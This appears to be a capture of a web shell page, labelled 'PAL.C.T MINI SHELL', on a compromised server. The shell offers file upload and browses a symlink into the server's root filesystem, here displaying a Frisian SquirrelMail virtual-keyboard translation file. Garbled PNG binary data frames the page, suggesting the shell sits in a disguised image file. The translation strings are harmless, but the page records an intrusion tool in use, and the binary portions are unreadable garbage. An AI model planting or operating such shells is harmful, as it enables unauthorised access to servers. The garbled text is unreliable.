php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/vkeyboard.po

# translation of vkeyboard.po to Nederlands
# vkeyboard plugin for SquirrelMail project.
# Copyright (C) 2004 Daniel K. Imori
# This file is distributed under the same license as the vkeyboard package.
#
# Daniel K. Imori <daniel@bastion.com.br>, 2004.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
msgid ""
msgstr ""
"Project-Id-Version: vkeyboard\n"
"Report-Msgid-Bugs-To: Daniel K. Imori <daniel@bastion.com.br>\n"
"POT-Creation-Date: 2006-09-10 01:15+0200\n"
"PO-Revision-Date: 2007-04-15 09:54+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Nederlands <kde-i18n-nl@kde.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

msgid "Are you using a public computer?"
msgstr "Brûke jo in publike kompjûter?"

msgid "Enter your password with the "
msgstr "Fier jo wachtwurd yn mei it "

msgid "virtual keyboard"
msgstr "firtuele toetseboerd"

msgid "Open Virtual Keyboard"
msgstr "Firtueel toetseboerd iepenje"

msgid "Virtual Keyboard: Help"
msgstr "Firtueel toetseboerd: help"

msgid "What's a virtual keyboard?"
msgstr "Wat is in firtueel toetseboerd?"

msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "It is in toetseboerd dat in echt toetseboerd simulearret. ;)"

msgid "It protects your password against keyloggers, which are hidden programs that capture everything that you type or click."
msgstr "Dit beskermet jo wachtwurd tsjin toetsloggers. Dat binne programma's dy't al jo toetsoanslaggen registrearje."

msgid "So, you can increase your security, using the virtual keyboard and its \"automatic click\" function."
msgstr "Troch it brûken fan it firtuele toeteboerd en syn \"automatyske klik\"-funksje kinne jo jo befeiliging ferheegje."

msgid "For this, you must point the mouse and keep it for few seconds on the key that you want to type."
msgstr "Om de winske toets oan te tsjutten, moatte jo mei de mûs de toets oanwize en der in pear sekonden op stean bliuwe."

msgid "Virtual Keyboard"
msgstr "Firtueel toetseboerd"

msgid "Enter your password:"
msgstr "Fier jo wachtwurd yn:"

msgid "Help"
msgstr "Help"

msgid "The key will be pressed in "
msgstr "De toets sil yndrukt wurde nei "

msgid " seconds."
msgstr " sekonden."

msgid "Login"
msgstr "Ynlogje"

msgid "Clear"
msgstr "Wiskje"

msgid "Close"
msgstr "Slute"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`